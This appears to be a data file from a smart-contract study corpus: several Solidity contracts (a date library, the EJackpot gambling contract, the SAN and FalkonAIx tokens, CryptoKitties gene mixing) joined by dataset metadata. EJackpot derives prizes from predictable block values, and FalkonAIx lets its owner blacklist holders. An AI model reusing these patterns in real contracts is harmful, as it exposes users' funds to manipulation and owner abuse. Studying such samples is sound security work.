leapYearsBefore(ORIGIN_YEAR); secondsAccountedFor += LEAP_YEAR_IN_SECONDS * numLeapYears; secondsAccountedFor += YEAR_IN_SECONDS * (year - ORIGIN_YEAR - numLeapYears); while (secondsAccountedFor > timestamp) { if (isLeapYear(uint16(year - 1))) { secondsAccountedFor -= LEAP_YEAR_IN_SECONDS; } else { secondsAccountedFor -= YEAR_IN_SECONDS; } year -= 1; } return year; } function getMonth(uint timestamp) public pure returns (uint8) { return parseTimestamp(timestamp).month; } function getDay(uint timestamp) public pure returns (uint8) { return parseTimestamp(timestamp).day; } function getHour(uint timestamp) public pure returns (uint8) { return uint8((timestamp / 60 / 60) % 24); } function getMinute(uint timestamp) public pure returns (uint8) { return uint8((timestamp / 60) % 60); } function getSecond(uint timestamp) public pure returns (uint8) { return uint8(timestamp % 60); } function getWeekday(uint timestamp) public pure returns (uint8) { return uint8((timestamp / DAY_IN_SECONDS + 4) % 7); } function toTimestamp(uint16 year, uint8 month, uint8 day) public pure returns (uint timestamp) { return toTimestamp(year, month, day, 0, 0, 0); } function toTimestamp(uint16 year, uint8 month, uint8 day, uint8 hour) public pure returns (uint timestamp) { return toTimestamp(year, month, day, hour, 0, 0); } function toTimestamp(uint16 year, uint8 month, uint8 day, uint8 hour, uint8 minute) public pure returns (uint timestamp) { return toTimestamp(year, month, day, hour, minute, 0); } function toTimestamp(uint16 year, uint8 month, uint8 day, uint8 hour, uint8 minute, uint8 second) public pure returns (uint timestamp) { uint16 i; // Year for (i = ORIGIN_YEAR; i < year; i++) { if (isLeapYear(i)) { timestamp += LEAP_YEAR_IN_SECONDS; } else { timestamp += YEAR_IN_SECONDS; } } // Month uint8[12] memory monthDayCounts; monthDayCounts[0] = 31; if (isLeapYear(year)) { monthDayCounts[1] = 29; } else { monthDayCounts[1] = 28; } monthDayCounts[2] = 31; monthDayCounts[3] = 30; monthDayCounts[4] = 31; monthDayCounts[5] = 30; monthDayCounts[6] = 31; monthDayCounts[7] = 31; monthDayCounts[8] = 30; monthDayCounts[9] = 31; monthDayCounts[10] = 30; monthDayCounts[11] = 31; for (i = 1; i < month; i++) { timestamp += DAY_IN_SECONDS * monthDayCounts[i - 1]; } // Day timestamp += DAY_IN_SECONDS * (day - 1); // Hour timestamp += HOUR_IN_SECONDS * (hour); // Minute timestamp += MINUTE_IN_SECONDS * (minute); // Second timestamp += second; return timestamp; } } contract EJackpot is Ownable { event CaseOpened(uint amount, uint prize, address indexed user, uint indexed timestamp); struct ReferralStat { uint profit; uint count; } struct Probability { uint from; uint to; } uint public usersCount = 0; uint public openedCases = 0; uint public totalWins = 0; Probability[1] public probabilities; mapping(uint => uint[11]) public betsPrizes; mapping(uint => bool) public cases; uint[1] public casesArr = [ 5 * 10 ** 16 ]; mapping(uint => uint) public caseWins; mapping(uint => uint) public caseOpenings; mapping(address => bool) private users; mapping(address => uint) private userCasesCount; mapping(address => address payable) private referrals; mapping(address => mapping(address => bool)) private usedReferrals; mapping(address => ReferralStat) public referralStats; uint private constant multiplier = 1 ether / 10000; DateTimeAPI private dateTimeAPI; constructor(address _dateTimeAPI) public Ownable() { dateTimeAPI = DateTimeAPI(_dateTimeAPI); for (uint i = 0; i < 1; i++) cases[casesArr[i]] = true; probabilities[0] = Probability(1, 100); // probabilities[1] = Probability(7, 18); // probabilities[2] = Probability(19, 30); // probabilities[3] = Probability(31, 44); // probabilities[4] = Probability(45, 58); // probabilities[5] = Probability(59, 72); // probabilities[6] = Probability(73, 83); // probabilities[7] = Probability(84, 92); // probabilities[8] = Probability(93, 97); // probabilities[9] = Probability(98, 99); // probabilities[10] = Probability(100, 100); betsPrizes[5 * 10 ** 16] = [65, 100, 130, 170, 230, 333, 500, 666, 1350, 2000, 2500]; // betsPrizes[10 ** 17] = [130, 200, 265, 333, 450, 666, 1000, 1350, 2650, 4000, 5000]; // betsPrizes[2 * 10 ** 17] = [265, 400, 530, 666, 930, 1330, 2000, 2665, 5300, 8000, 10000]; } function showCoefs() external view returns (uint[1] memory result){ uint d = 10000; for (uint casesIndex = 0; casesIndex < casesArr.length; casesIndex++) { uint sum = 0; uint casesVal = casesArr[casesIndex]; for (uint i = 0; i < probabilities.length; i++) { sum += multiplier * betsPrizes[casesVal][i] * (probabilities[i].to - probabilities[i].from + 1); } result[casesIndex] = ((d * sum) / (casesVal * 100)); } } function play(address payable referrer) external payable notContract(msg.sender, false) notContract(referrer, true) { if (msg.sender == owner) return; uint maxPrize = betsPrizes[msg.value][betsPrizes[msg.value].length - 1] * multiplier; require(cases[msg.value] && address(this).balance >= maxPrize, "Contract balance is not enough"); openedCases++; userCasesCount[msg.sender]++; if (!users[msg.sender]) { users[msg.sender] = true; usersCount++; } uint prize = determinePrize(); caseWins[msg.value] += prize; caseOpenings[msg.value]++; totalWins += prize; increaseDailyStat(prize); msg.sender.transfer(prize); if (referrer == address(0x0) && referrals[msg.sender] == address(0x0)) return; int casinoProfit = int(msg.value) - int(prize); if (referrer != address(0x0)) { if (referrals[msg.sender] != address(0x0) && referrer != referrals[msg.sender]) referralStats[referrals[msg.sender]].count -= 1; referrals[msg.sender] = referrer; } if (!usedReferrals[referrals[msg.sender]][msg.sender]) { referralStats[referrals[msg.sender]].count++; usedReferrals[referrals[msg.sender]][msg.sender] = true; } if (casinoProfit <= 0) return; uint referrerProfit = uint(casinoProfit * 10 / 100); referralStats[referrals[msg.sender]].profit += referrerProfit; referrals[msg.sender].transfer(referrerProfit); } function determinePrize() private returns (uint) { uint8 chance = random(); uint[11] memory prizes = betsPrizes[msg.value]; uint prize = 0; for (uint i = 0; i < 1; i++) { if (chance >= probabilities[i].from && chance <= probabilities[i].to) { prize = prizes[i] * multiplier; break; } } return prize; } function increaseDailyStat(uint prize) private { uint16 year = dateTimeAPI.getYear(now); uint8 month = dateTimeAPI.getMonth(now); uint8 day = dateTimeAPI.getDay(now); uint8 hour = dateTimeAPI.getHour(now); uint timestamp = dateTimeAPI.toTimestamp(year, month, day, hour); emit CaseOpened(msg.value, prize, msg.sender, timestamp); } function withdraw(uint amount) external onlyOwner { require(address(this).balance >= amount); msg.sender.transfer(amount); } function random() private view returns (uint8) { return uint8(uint256(keccak256(abi.encodePacked(block.timestamp, block.difficulty, msg.sender, userCasesCount[msg.sender]))) % 100) + 1; } modifier notContract(address addr, bool referrer) { if (addr != address(0x0)) { uint size; assembly {size := extcodesize(addr)} require(size <= 0, "Called by contract"); if (!referrer) require(tx.origin == addr, "Called by contract"); } _; } }
339,173
12,134
2ceda94d2d19ef1a66fcc22806d32e9fd6666abcf6ac2946c3e4c5ec2e5f7e87
12,466
.sol
Solidity
false
111633870
bokkypoobah/Tokens
97950a9e4915596d1ec00887c3c1812cfdb122a2
Mainnet-token-contracts-20180610/contracts/0x7c5a0ce9267ed19b22f8cae653f198e3e8daf098-SAN-SAN.sol
2,657
10,360
pragma solidity ^0.4.11; // ==== DISCLAIMER ==== // // ETHEREUM IS STILL AN EXPEREMENTAL TECHNOLOGY. // // ==== // /// @author Santiment LLC /// @title SAN - santiment token contract Base { function max(uint a, uint b) returns (uint) { return a >= b ? a : b; } function min(uint a, uint b) returns (uint) { return a <= b ? a : b; } modifier only(address allowed) { if (msg.sender != allowed) throw; _; } ///@return True if `_addr` is a contract function isContract(address _addr) constant internal returns (bool) { if (_addr == 0) return false; uint size; assembly { size := extcodesize(_addr) } return (size > 0); } // ************************************************* // * reentrancy handling * // ************************************************* //@dev predefined locks (up to uint bit length, i.e. 256 possible) uint constant internal L00 = 2 ** 0; uint constant internal L01 = 2 ** 1; uint constant internal L02 = 2 ** 2; uint constant internal L03 = 2 ** 3; uint constant internal L04 = 2 ** 4; uint constant internal L05 = 2 ** 5; //prevents reentrancy attacs: specific locks uint private bitlocks = 0; modifier noReentrancy(uint m) { var _locks = bitlocks; if (_locks & m > 0) throw; bitlocks |= m; _; bitlocks = _locks; } modifier noAnyReentrancy { var _locks = bitlocks; if (_locks > 0) throw; bitlocks = uint(-1); _; bitlocks = _locks; } /// developer should make the caller function reentrant-safe if it use a reentrant function. modifier reentrant { _; } } contract Owned is Base { address public owner; address public newOwner; function Owned() { owner = msg.sender; } function transferOwnership(address _newOwner) only(owner) { newOwner = _newOwner; } function acceptOwnership() only(newOwner) { OwnershipTransferred(owner, newOwner); owner = newOwner; } event OwnershipTransferred(address indexed _from, address indexed _to); } contract ERC20 is Owned { event Transfer(address indexed _from, address indexed _to, uint256 _value); event Approval(address indexed _owner, address indexed _spender, uint256 _value); function transfer(address _to, uint256 _value) isStartedOnly returns (bool success) { if (balances[msg.sender] >= _value && balances[_to] + _value > balances[_to]) { balances[msg.sender] -= _value; balances[_to] += _value; Transfer(msg.sender, _to, _value); return true; } else { return false; } } function transferFrom(address _from, address _to, uint256 _value) isStartedOnly returns (bool success) { if (balances[_from] >= _value && allowed[_from][msg.sender] >= _value && balances[_to] + _value > balances[_to]) { balances[_to] += _value; balances[_from] -= _value; allowed[_from][msg.sender] -= _value; Transfer(_from, _to, _value); return true; } else { return false; } } function balanceOf(address _owner) constant returns (uint256 balance) { return balances[_owner]; } function approve(address _spender, uint256 _value) isStartedOnly returns (bool success) { allowed[msg.sender][_spender] = _value; Approval(msg.sender, _spender, _value); return true; } function allowance(address _owner, address _spender) constant returns (uint256 remaining) { return allowed[_owner][_spender]; } mapping (address => uint256) balances; mapping (address => mapping (address => uint256)) allowed; uint256 public totalSupply; bool public isStarted = false; modifier onlyHolder(address holder) { if (balanceOf(holder) == 0) throw; _; } modifier isStartedOnly() { if (!isStarted) throw; _; } } contract SubscriptionModule { function attachToken(address addr) public ; } contract SAN is Owned, ERC20 { string public constant name = "SANtiment network token"; string public constant symbol = "SAN"; uint8 public constant decimals = 18; address CROWDSALE_MINTER = 0xDa2Cf810c5718135247628689D84F94c61B41d6A; address public SUBSCRIPTION_MODULE = 0x00000000; address public beneficiary; uint public PLATFORM_FEE_PER_10000 = 1; //0.01% uint public totalOnDeposit; uint public totalInCirculation; ///@dev constructor function SAN() { beneficiary = owner = msg.sender; } // ------------------------------------------------------------------------ // Don't accept ethers // ------------------------------------------------------------------------ function () { throw; } //======== SECTION Configuration: Owner only ======== // ///@notice set beneficiary - the account receiving platform fees. function setBeneficiary(address newBeneficiary) external only(owner) { beneficiary = newBeneficiary; } function attachSubscriptionModule(SubscriptionModule subModule) noAnyReentrancy external only(owner) { SUBSCRIPTION_MODULE = subModule; if (address(subModule) > 0) subModule.attachToken(this); } ///@notice set platform fee denominated in 1/10000 of SAN token. Thus "1" means 0.01% of SAN token. function setPlatformFeePer10000(uint newFee) external only(owner) { require (newFee <= 10000); //formally maximum fee is 100% (completely insane but technically possible) PLATFORM_FEE_PER_10000 = newFee; } function startToken() isNotStartedOnly only(owner) { totalInCirculation = totalSupply; isStarted = true; } // ///@dev used as a default XRateProvider (id==0) by subscription module. ///@notice returns always 1 because exchange rate of the token to itself is always 1. function getRate() returns(uint32 ,uint32) { return (1,1); } function getCode() public returns(string) { return symbol; } //==== Interface ERC20ModuleSupport: Subscription, Deposit and Payment Support ===== /// ///@dev used by subscription module to operate on token balances. ///@param msg_sender should be an original msg.sender provided to subscription module. function _fulfillPreapprovedPayment(address _from, address _to, uint _value, address msg_sender) public onlyTrusted returns(bool success) { success = _from != msg_sender && allowed[_from][msg_sender] >= _value; if (!success) { Payment(_from, _to, _value, _fee(_value), msg_sender, PaymentStatus.APPROVAL_ERROR, 0); } else { success = _fulfillPayment(_from, _to, _value, 0, msg_sender); if (success) { allowed[_from][msg_sender] -= _value; } } return success; } ///@dev used by subscription module to operate on token balances. ///@param msg_sender should be an original msg.sender provided to subscription module. function _fulfillPayment(address _from, address _to, uint _value, uint subId, address msg_sender) public onlyTrusted returns (bool success) { var fee = _fee(_value); assert (fee <= _value); //internal sanity check if (balances[_from] >= _value && balances[_to] + _value > balances[_to]) { balances[_from] -= _value; balances[_to] += _value - fee; balances[beneficiary] += fee; Payment(_from, _to, _value, fee, msg_sender, PaymentStatus.OK, subId); return true; } else { Payment(_from, _to, _value, fee, msg_sender, PaymentStatus.BALANCE_ERROR, subId); return false; } } function _fee(uint _value) internal constant returns (uint fee) { return _value * PLATFORM_FEE_PER_10000 / 10000; } ///@notice used by subscription module to re-create token from returning deposit. ///@dev a subscription module is responsible to correct deposit management. function _mintFromDeposit(address owner, uint amount) public onlyTrusted { balances[owner] += amount; totalOnDeposit -= amount; totalInCirculation += amount; } ///@notice used by subscription module to burn token while creating a new deposit. ///@dev a subscription module is responsible to create and maintain the deposit record. function _burnForDeposit(address owner, uint amount) public onlyTrusted returns (bool success) { if (balances[owner] >= amount) { balances[owner] -= amount; totalOnDeposit += amount; totalInCirculation -= amount; return true; } else { return false; } } //========= Crowdsale Only =============== ///@notice mint new token for given account in crowdsale stage ///@dev allowed only if token not started yet and only for registered minter. ///@dev tokens are become in circulation after token start. function mint(uint amount, address account) onlyCrowdsaleMinter isNotStartedOnly { totalSupply += amount; balances[account]+=amount; } ///@notice start normal operation of the token. No minting is possible after this point. function start() onlyCrowdsaleMinter isNotStartedOnly { totalInCirculation = totalSupply; isStarted = true; } //========= SECTION: Modifier =============== modifier onlyCrowdsaleMinter() { if (msg.sender != CROWDSALE_MINTER) throw; _; } modifier onlyTrusted() { if (msg.sender != SUBSCRIPTION_MODULE) throw; _; } ///@dev token not started means minting is possible, but usual token operations are not. modifier isNotStartedOnly() { if (isStarted) throw; _; } enum PaymentStatus {OK, BALANCE_ERROR, APPROVAL_ERROR} ///@notice event issued on any fee based payment (made of failed). ///@param subId - related subscription Id if any, or zero otherwise. event Payment(address _from, address _to, uint _value, uint _fee, address caller, PaymentStatus status, uint subId); }//contract SAN
247,628
12,135
cc96294aaac39b46c259ce319dc9bc343e5e4c46e8d97567f4d93f872344962e
12,759
.sol
Solidity
false
606585904
plotchy/defi-detective
f48830b1085dac002283a2ce5e565e341aab5d0c
00byaddress/00fc5e0a6581a373e21ac73ee78b5e105fe353c1.sol
2,952
11,114
// SPDX-License-Identifier: MIT pragma solidity 0.8.17; abstract contract Context { function _msgSender() internal view virtual returns (address) { return msg.sender; } } interface IERC20 { function totalSupply() external view returns (uint256); function balanceOf(address account) external view returns (uint256); function transfer(address recipient, uint256 amount) external returns (bool); function allowance(address owner, address spender) external view returns (uint256); function approve(address spender, uint256 amount) external returns (bool); function transferFrom(address sender, address recipient, uint256 amount) external returns (bool); event Transfer(address indexed from, address indexed to, uint256 value); event Approval(address indexed owner, address indexed spender, uint256 value); } library SafeMath { function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; require(c >= a, "SafeMath: addition overflow"); return c; } function sub(uint256 a, uint256 b) internal pure returns (uint256) { return sub(a, b, "SafeMath: subtraction overflow"); } function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b <= a, errorMessage); uint256 c = a - b; return c; } function mul(uint256 a, uint256 b) internal pure returns (uint256) { if (a == 0) { return 0; } uint256 c = a * b; require(c / a == b, "SafeMath: multiplication overflow"); return c; } function div(uint256 a, uint256 b) internal pure returns (uint256) { return div(a, b, "SafeMath: division by zero"); } function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b > 0, errorMessage); uint256 c = a / b; return c; } } contract Ownable is Context { address private _owner; event OwnershipTransferred(address indexed previousOwner, address indexed newOwner); constructor () { address msgSender = _msgSender(); _owner = msgSender; emit OwnershipTransferred(address(0), msgSender); } function owner() public view returns (address) { return _owner; } modifier onlyOwner() { require(_owner == _msgSender(), "Ownable: caller is not the owner"); _; } function renounceOwnership() public virtual onlyOwner { emit OwnershipTransferred(_owner, address(0)); _owner = address(0); } } interface IUniswapV2Factory { function createPair(address tokenA, address tokenB) external returns (address pair); } interface IUniswapV2Router02 { function swapExactTokensForETHSupportingFeeOnTransferTokens(uint amountIn, uint amountOutMin, address[] calldata path, address to, uint deadline) external; function factory() external pure returns (address); function WETH() external pure returns (address); function addLiquidityETH(address token, uint amountTokenDesired, uint amountTokenMin, uint amountETHMin, address to, uint deadline) external payable returns (uint amountToken, uint amountETH, uint liquidity); } contract FalkonAIx is Context, IERC20, Ownable { using SafeMath for uint256; mapping (address => uint256) private _balances; mapping (address => mapping (address => uint256)) private _allowances; mapping (address => bool) private _isExcludedFromFee; mapping (address => bool) private bots; mapping(address => uint256) private _holderLastTransferTimestamp; bool public transferDelayEnabled = true; address payable private _taxWallet; uint256 private _initialTax=10; uint256 private _finalTax=5; uint256 private _reduceTaxAt=20; uint256 private _preventSwapBefore=30; uint256 private _buyCount=0; uint8 private constant _decimals = 8; uint256 private constant _tTotal = 1000000 * 10**_decimals; string private constant _name = unicode"FalkonAIx"; string private constant _symbol = unicode"FAIx"; uint256 public _maxTxAmount = 20000 * 10**_decimals; uint256 public _maxWalletSize = 30000 * 10**_decimals; uint256 public _taxSwapThreshold= 10000 * 10**_decimals; uint256 public _maxTaxSwap= 10000 * 10**_decimals; IUniswapV2Router02 private uniswapV2Router; address private uniswapV2Pair; bool private tradingOpen; bool private inSwap = false; bool private swapEnabled = false; event MaxTxAmountUpdated(uint _maxTxAmount); modifier lockTheSwap { inSwap = true; _; inSwap = false; } constructor () { _taxWallet = payable(_msgSender()); _balances[_msgSender()] = _tTotal; _isExcludedFromFee[owner()] = true; _isExcludedFromFee[address(this)] = true; _isExcludedFromFee[_taxWallet] = true; emit Transfer(address(0), _msgSender(), _tTotal); } function name() public pure returns (string memory) { return _name; } function symbol() public pure returns (string memory) { return _symbol; } function decimals() public pure returns (uint8) { return _decimals; } function totalSupply() public pure override returns (uint256) { return _tTotal; } function balanceOf(address account) public view override returns (uint256) { return _balances[account]; } function transfer(address recipient, uint256 amount) public override returns (bool) { _transfer(_msgSender(), recipient, amount); return true; } function allowance(address owner, address spender) public view override returns (uint256) { return _allowances[owner][spender]; } function approve(address spender, uint256 amount) public override returns (bool) { _approve(_msgSender(), spender, amount); return true; } function transferFrom(address sender, address recipient, uint256 amount) public override returns (bool) { _transfer(sender, recipient, amount); _approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance")); return true; } function _approve(address owner, address spender, uint256 amount) private { require(owner != address(0), "ERC20: approve from the zero address"); require(spender != address(0), "ERC20: approve to the zero address"); _allowances[owner][spender] = amount; emit Approval(owner, spender, amount); } function _transfer(address from, address to, uint256 amount) private { require(from != address(0), "ERC20: transfer from the zero address"); require(to != address(0), "ERC20: transfer to the zero address"); require(amount > 0, "Transfer amount must be greater than zero"); uint256 taxAmount=0; if (from != owner() && to != owner()) { require(!bots[from] && !bots[to]); if(!inSwap){ taxAmount = amount.mul((_buyCount>_reduceTaxAt)?_finalTax:_initialTax).div(100); } if (transferDelayEnabled) { if (to != address(uniswapV2Router) && to != address(uniswapV2Pair)) { require(_holderLastTransferTimestamp[tx.origin] < block.number, "_transfer:: Transfer Delay enabled. Only one purchase per block allowed."); _holderLastTransferTimestamp[tx.origin] = block.number; } } if (from == uniswapV2Pair && to != address(uniswapV2Router) && ! _isExcludedFromFee[to]) { require(amount <= _maxTxAmount, "Exceeds the _maxTxAmount."); require(balanceOf(to) + amount <= _maxWalletSize, "Exceeds the maxWalletSize."); _buyCount++; } uint256 contractTokenBalance = balanceOf(address(this)); if (!inSwap && from != uniswapV2Pair && swapEnabled && contractTokenBalance>_taxSwapThreshold && _buyCount>_preventSwapBefore) { swapTokensForEth(min(amount,min(contractTokenBalance,_maxTaxSwap))); uint256 contractETHBalance = address(this).balance; if(contractETHBalance > 0) { sendETHToFee(address(this).balance); } } } _balances[from]=_balances[from].sub(amount); _balances[to]=_balances[to].add(amount.sub(taxAmount)); emit Transfer(from, to, amount.sub(taxAmount)); if(taxAmount>0){ _balances[address(this)]=_balances[address(this)].add(taxAmount); emit Transfer(from, address(this),taxAmount); } } function min(uint256 a, uint256 b) private pure returns (uint256){ return (a>b)?b:a; } function swapTokensForEth(uint256 tokenAmount) private lockTheSwap { address[] memory path = new address[](2); path[0] = address(this); path[1] = uniswapV2Router.WETH(); _approve(address(this), address(uniswapV2Router), tokenAmount); uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens(tokenAmount, 0, path, address(this), block.timestamp); } function removeLimits() external onlyOwner{ _maxTxAmount = _tTotal; _maxWalletSize=_tTotal; transferDelayEnabled=false; emit MaxTxAmountUpdated(_tTotal); } function sendETHToFee(uint256 amount) private { _taxWallet.transfer(amount); } function addBots(address[] memory bots_) public onlyOwner { for (uint i = 0; i < bots_.length; i++) { bots[bots_[i]] = true; } } function delBots(address[] memory notbot) public onlyOwner { for (uint i = 0; i < notbot.length; i++) { bots[notbot[i]] = false; } } function isBot(address a) public view returns (bool){ return bots[a]; } function openTrading() external onlyOwner() { require(!tradingOpen,"trading is already open"); uniswapV2Router = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D); _approve(address(this), address(uniswapV2Router), _tTotal); uniswapV2Pair = IUniswapV2Factory(uniswapV2Router.factory()).createPair(address(this), uniswapV2Router.WETH()); uniswapV2Router.addLiquidityETH{value: address(this).balance}(address(this),balanceOf(address(this)),0,0,owner(),block.timestamp); swapEnabled = true; tradingOpen = true; IERC20(uniswapV2Pair).approve(address(uniswapV2Router), type(uint).max); } receive() external payable {} function manualSwap() external { uint256 tokenBalance=balanceOf(address(this)); if(tokenBalance>0){ swapTokensForEth(tokenBalance); } uint256 ethBalance=address(this).balance; if(ethBalance>0){ sendETHToFee(ethBalance); } } }
344,448
12,136
e3fc7100d5b0e2fe669ce090165a3b1d025550aea757e165b6bf1ece4c071fd4
11,770
.sol
Solidity
false
504446259
EthereumContractBackdoor/PiedPiperBackdoor
0088a22f31f0958e614f28a10909c9580f0e70d9
contracts/realworld-contracts/0xb77feddb7e627a78140a2a32cac65a49ed1dba8e.sol
2,867
10,890
pragma solidity ^0.4.18; contract KittyCoreInterface { function cooAddress() public returns(address); } /// @title GeneScience implements the trait calculation for new kitties contract GeneScience { bool public isGeneScience = true; uint256 internal constant maskLast8Bits = uint256(0xff); uint256 internal constant maskFirst248Bits = uint256(~0xff); // This is the privileged birther address. If this is set to 0, privileged birthing is disabled address internal _privilegedBirther; // Privileged window size for birthers, set to 5 blocks. uint256 public privilegedBirtherWindowSize = 5; KittyCoreInterface _kittyCore; function GeneScience(address _privilegedBirtherAddress, address _kittyCoreAddress) public { require(_kittyCoreAddress != address(0)); _kittyCore = KittyCoreInterface(_kittyCoreAddress); _privilegedBirther = _privilegedBirtherAddress; } /// @dev set the privileged birther address /// @param _birtherAddress the new birther address function setPrivilegedBirther(address _birtherAddress) public { require(msg.sender == _kittyCore.cooAddress()); _privilegedBirther = _birtherAddress; } /// @param trait1 any trait of that characteristic /// @param trait2 any trait of that characteristic /// @param rand is expected to be a 3 bits number (0~7) /// @return -1 if didnt match any ascention, OR a number from 0 to 30 for the ascended trait function _ascend(uint8 trait1, uint8 trait2, uint256 rand) internal pure returns(uint8 ascension) { ascension = 0; uint8 smallT = trait1; uint8 bigT = trait2; if (smallT > bigT) { bigT = trait1; smallT = trait2; } // https://github.com/axiomzen/cryptokitties/issues/244 if ((bigT - smallT == 1) && smallT % 2 == 0) { // The rand argument is expected to be a random number 0-7. // 1st and 2nd tier: 1/4 chance (rand is 0 or 1) // 3rd and 4th tier: 1/8 chance (rand is 0) // must be at least this much to ascend uint256 maxRand; if (smallT < 23) maxRand = 1; else maxRand = 0; if (rand <= maxRand) { ascension = (smallT / 2) + 16; } } } /// @dev given a number get a slice of any bits, at certain offset /// @param _n a number to be sliced /// @param _nbits how many bits long is the new number /// @param _offset how many bits to skip function _sliceNumber(uint256 _n, uint256 _nbits, uint256 _offset) private pure returns (uint256) { // mask is made by shifting left an offset number of times uint256 mask = uint256((2**_nbits) - 1) << _offset; // AND n with mask, and trim to max of _nbits bits return uint256((_n & mask) >> _offset); } /// @dev Get a 5 bit slice from an input as a number /// @param _input bits, encoded as uint /// @param _slot from 0 to 50 function _get5Bits(uint256 _input, uint256 _slot) internal pure returns(uint8) { return uint8(_sliceNumber(_input, uint256(5), _slot * 5)); } /// @dev Parse a kitten gene and returns all of 12 "trait stack" that makes the characteristics /// @param _genes kitten gene function decode(uint256 _genes) public pure returns(uint8[]) { uint8[] memory traits = new uint8[](48); uint256 i; for(i = 0; i < 48; i++) { traits[i] = _get5Bits(_genes, i); } return traits; } /// @dev Given an array of traits return the number that represent genes function encode(uint8[] _traits) public pure returns (uint256 _genes) { _genes = 0; for(uint256 i = 0; i < 48; i++) { _genes = _genes << 5; // bitwise OR trait with _genes _genes = _genes | _traits[47 - i]; } return _genes; } /// @dev return the expressing traits /// @param _genes the long number expressing cat genes function expressingTraits(uint256 _genes) public pure returns(uint8[12]) { uint8[12] memory express; for(uint256 i = 0; i < 12; i++) { express[i] = _get5Bits(_genes, i * 4); } return express; } /// @dev the function as defined in the breeding contract - as defined in CK bible function mixGenes(uint256 _genes1, uint256 _genes2, uint256 _targetBlock) public returns (uint256) { if (_privilegedBirther == address(0) || tx.origin == _privilegedBirther) { // Allow immediate births if there is no privileged birther, or if the originator // of the transaction is the privileged birther require(block.number > _targetBlock); } else { require(block.number > _targetBlock + privilegedBirtherWindowSize); } // Try to grab the hash of the "target block". This should be available the vast // majority of the time (it will only fail if no-one calls giveBirth() within 256 // blocks of the target block, which is about 40 minutes. Since anyone can call // giveBirth() and they are rewarded with ether if it succeeds, this is quite unlikely.) uint256 randomN = uint256(block.blockhash(_targetBlock)); if (randomN == 0) { // We don't want to completely bail if the target block is no-longer available, // nor do we want to just use the current block's hash (since it could allow a // caller to game the random result). Compute the most recent block that has the // the same value modulo 256 as the target block. The hash for this block will // still be available, and while it can still change as time passes it will // only change every 40 minutes. Again, someone is very likely to jump in with // the giveBirth() call before it can cycle too many times. _targetBlock = (block.number & maskFirst248Bits) + (_targetBlock & maskLast8Bits); // The computation above could result in a block LARGER than the current block, // if so, subtract 256. if (_targetBlock >= block.number) _targetBlock -= 256; randomN = uint256(block.blockhash(_targetBlock)); // DEBUG ONLY // assert(block.number != _targetBlock); // assert((block.number - _targetBlock) <= 256); // assert(randomN != 0); } // generate 256 bits of random, using as much entropy as we can from // sources that can't change between calls. randomN = uint256(keccak256(randomN, _genes1, _genes2, _targetBlock)); uint256 randomIndex = 0; uint8[] memory genes1Array = decode(_genes1); uint8[] memory genes2Array = decode(_genes2); // All traits that will belong to baby uint8[] memory babyArray = new uint8[](48); // A pointer to the trait we are dealing with currently uint256 traitPos; // Trait swap value holder uint8 swap; // iterate all 12 characteristics for(uint256 i = 0; i < 12; i++) { // pick 4 traits for characteristic i uint256 j; // store the current random value uint256 rand; for(j = 3; j >= 1; j--) { traitPos = (i * 4) + j; rand = _sliceNumber(randomN, 2, randomIndex); // 0~3 randomIndex += 2; // 1/4 of a chance of gene swapping forward towards expressing. if (rand == 0) { // do it for parent 1 swap = genes1Array[traitPos]; genes1Array[traitPos] = genes1Array[traitPos - 1]; genes1Array[traitPos - 1] = swap; } rand = _sliceNumber(randomN, 2, randomIndex); // 0~3 randomIndex += 2; if (rand == 0) { // do it for parent 2 swap = genes2Array[traitPos]; genes2Array[traitPos] = genes2Array[traitPos - 1]; genes2Array[traitPos - 1] = swap; } } } // DEBUG ONLY - We should have used 72 2-bit slices above for the swapping // which will have consumed 144 bits. // assert(randomIndex == 144); // We have 256 - 144 = 112 bits of randomness left at this point. We will use up to // four bits for the first slot of each trait (three for the possible ascension, one // to pick between mom and dad if the ascension fails, for a total of 48 bits. The other // traits use one bit to pick between parents (36 gene pairs, 36 genes), leaving us // well within our entropy budget. // done shuffling parent genes, now let's decide on choosing trait and if ascending. // NOTE: Ascensions ONLY happen in the "top slot" of each characteristic. This saves // gas and also ensures ascensions only happen when they're visible. for(traitPos = 0; traitPos < 48; traitPos++) { // See if this trait pair should ascend uint8 ascendedTrait = 0; // There are two checks here. The first is straightforward, only the trait // in the first slot can ascend. The first slot is zero mod 4. // // The second check is more subtle: Only values that are one apart can ascend, // which is what we check inside the _ascend method. However, this simple mask // and compare is very cheap (9 gas) and will filter out about half of the // non-ascending pairs without a function call. // // The comparison itself just checks that one value is even, and the other // is odd. if ((traitPos % 4 == 0) && (genes1Array[traitPos] & 1) != (genes2Array[traitPos] & 1)) { rand = _sliceNumber(randomN, 3, randomIndex); randomIndex += 3; ascendedTrait = _ascend(genes1Array[traitPos], genes2Array[traitPos], rand); } if (ascendedTrait > 0) { babyArray[traitPos] = uint8(ascendedTrait); } else { // did not ascend, pick one of the parent's traits for the baby // We use the top bit of rand for this (the bottom three bits were used // to check for the ascension itself). rand = _sliceNumber(randomN, 1, randomIndex); randomIndex += 1; if (rand == 0) { babyArray[traitPos] = uint8(genes1Array[traitPos]); } else { babyArray[traitPos] = uint8(genes2Array[traitPos]); } } } return encode(babyArray); } }
147,660
12,137
473d08ae44625dd023b5334056983dc401bbfc6e674f367fa4a7bcebec15df4f
30,605
.sol
Solidity
false
454085139
tintinweb/smart-contract-sanctuary-fantom
63c4f5207082cb2a5f3ee5a49ccec1870b1acf3a
contracts/mainnet/99/997377643d2A6bE5BB59Bf774E7AD424a1C2b761_Masonry.sol
4,869
18,664
